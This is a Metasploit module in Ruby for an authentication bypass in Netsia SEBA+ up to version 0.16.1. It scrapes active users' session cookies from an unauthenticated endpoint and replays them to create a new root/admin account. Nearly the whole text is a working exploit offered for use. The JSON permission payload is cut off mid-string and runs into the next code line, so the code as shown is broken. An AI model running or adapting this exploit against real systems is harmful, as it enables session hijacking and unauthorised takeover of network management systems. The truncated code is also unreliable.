## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Netsia SEBA+ <= 0.16.1 Authentication Bypass and Add Root User' , 'Description' => %q{ This module exploits an authentication bypass in Netsia SEBA+, triggered by add new root/admin user. HTTP requests made to the "Active Sessions" section which can be accessed by root/admin user, can be performed without the need for any session(cookie) information. Therefore, the session cookie informations of the active users in the application can be read from the response content. A new authorized user can be created with the obtained cookie. }, 'References' => [ [ 'CVE', '' ], [ 'URL', 'https://www.pentest.com.tr/exploits/Netsia-SEBA-0-16-1-Authentication-Bypass-Add-Root-User-Metasploit.html' ], [ 'URL', 'https://www.netsia.com' ] ], 'Author' => [ 'Özkan Mustafa AKKUŞ ' # Discovery & PoC & MSF Module @ehakkus ], 'License' => MSF_LICENSE, 'DisclosureDate' => "2021-01-06", 'DefaultOptions' => { 'SSL' => true } )) register_options( [ Opt::RPORT(443), OptString.new('USERNAME', [true, 'The username for your new account']), OptString.new('PASSWORD', [true, 'The password for your new account', Rex::Text.rand_text_alphanumeric(14)]) ]) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def check begin res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"), ) rescue return Exploit::CheckCode::Unknown end if res.code == 200 and res.body.include? 'sessionId' return Exploit::CheckCode::Vulnerable else if res.code == 200 and res.body.include? 'SUCCESS' print_status("Target is vulnerable! But active admin session was not found. Try again later.") return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe end def count_user(data, find_string) data.scan(/(?=#{find_string})/).count end def run unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"), ) sescount = count_user(res.body,'"name"') print_good("Currently #{sescount} active sessions have been detected.") cookies = res.body.scan(/sessionId":"([\S\s]*?)","action/) puts cookies $i = 0 while $i <= sescount do sessloop = cookies[$i] sessid = "SESSION=" + sessloop.to_s cookie = sessid.split('"]').join('').split('["').join('') $i +=1 json_data='{"data": {"password": "' + datastore["PASSWORD"] + '", "roles": [{"locations": [], "name": "admin", "permList": [{"data": ["/alarm-manager/alarm/definition/list", "/alarm-manager/alarm/active/list", "/alarm-manager/alarm/active/get", "/alarm-manager/alarm/log/list", "/alarm-manager/alarm/log/search"], "perm_key": "alarm:view"}, {"data": ["/sepon-core/profile/get/service", "/sepon-core/profile/list/service"], "perm_key": "services:view"}, {"data": ["/sepon-core/node/list/edge-ext"], "perm_key": "edge-ext:view"}, {"data": ["/sepon-core/ui/config/get", "/sepon-core/ui/config/list"], "perm_key": "uiconfig:view"}, {"data": ["/pal/switchinfo/list"], "perm_key": "switch:view"}, {"data": ["/asup/bbsl"], "perm_key": "asup:bbsl"}, {"data": ["/sepon-core/node/list", "/sepon-core/node/get"], "perm_key": "location:view"}, {"data": ["/pal/olt/get", "/pal/olt/nniport", "/pal/olt/ponport", "/pal/inventory/olt-list", "/sepon-core/node/list/olt", "/pal/laginfo/get"], "perm_key": "olt:view"}, {"data": ["/bbsl*/olt/reboot"], "perm_key": "olt:reboot"}, {"data": ["/sepon-core/node/delete"], "perm_key": "edge:delete"}, {"data": ["/user/add"], "perm_key": "default"}, {"data": ["/bbsl*/subscriber/change-speed-profile", "/bbsl*/subscriber/provision", "/bbsl*/subscriber/preprovision", "/bbsl*/subscriber/provision-subscriber", "/bbsl*/subscriber/change-speed-profile", "/bbsl*/subscriber/continue-provision-with-service-definition", "/bbsl*/subscriber/delete-service", "/bbsl*/subscriber/delete-services", "/bbsl*/subscriber/provision-service", "/bbsl*/subscriber/update-service-subscription"], "perm_key": "subscriptions:edit"}, {"data": ["/authentication-server/user/add", "/authentication-server/user/update"], "perm_key": "user:edit"}, {"data": ["/home/dashboard", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list", "/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "dashboard:edit"}, {"data": ["/sepon-core/node/delete/force"], "perm_key": "edge:forcedelete"}, {"data": ["/sepon-core/profile/delete/service"], "perm_key": "services:delete"}, {"data": ["/bbsl*/onu/provision-onu", "/bbsl*/onu/undo-provision", "/sepon-core/node/update", "/bbsl*/onu/delete-onu", "/bbsl*/onu/provision-onu", "/bbsl*/onu/update-serial", "/bbsl*/onu/onu-power"], "perm_key": "onu:edit"}, {"data": ["/alarm-manager/response-code"], "perm_key": "alarm:response-code"}, {"data": ["/authentication-server/request/list", "/authentication-server/request/search", "/authentication-server/request/count"], "perm_key": "request_history:view"}, {"data": ["/sepon-core/profile/add/service"], "perm_key": "services:edit"}, {"data": ["/authentication-server/user/delete"], "perm_key": "user:delete"}, {"data": ["/pal/speedprofile/delete", "/sepon-core/profile/delete/speed"], "perm_key": "speed_profiles:delete"}, {"data": ["/sepon-core/profile/sync/security", "/sepon-core/profile/add/sync/security", "/sepon-core/profile/delete/sync/security", "/sepon-core/profile/get/sync/security", "/sepon-core/profile/list/sync/security", "/sepon-core/profile/list/sync/security/by-profile-id", "/sepon-core/profile/list/sync/security/by-edge-id"], "perm_key": "security_profiles:sync"}, {"data": ["/home/dashboard", "/prometheus", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list", "/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "dashboard:perf-query"}, {"data": ["/authentication-server/user/list", "/authentication-server/user/get"], "perm_key": "user:view"}, {"data": ["/bbsl*/onu/reboot"], "perm_key": "onu:reboot"}, {"data": ["/pal/subscriber/onu-list-service-location", "/pal/subscriber/uni-list-service-location", "/pal/subscriber/uni-list-service-serial", "/pal/subscriber/uni-service-info-location", "/pal/subscriber/uni-service-info-serial", "/pal/subscriber/service-subscription", "/pal/subscriber/onu-list-service-location", "/pal/subscriber/uni-list-service-location", "/pal/subscriber/uni-list-service-serial", "/pal/subscriber/uni-service-info-location", "/pal/subscriber/uni-service-info-onu-serial-uni-no-service-name", "/pal/subsc res = send_request_raw({ 'method' => 'POST', 'ctype' => 'application/json', 'uri' => normalize_uri(target_uri.path, 'authentication-server', 'user', 'add'), 'cookie' => cookie, 'data' => json_data }) if res.code == 200 and res.body.include? '"SUCCESS"' print_good("Excellent! User #{datastore["USERNAME"]} was added successfully with root, admin and default privileges.") print_good("Username : #{datastore["USERNAME"]}") print_good("Password : #{datastore["PASSWORD"]}") break end end end end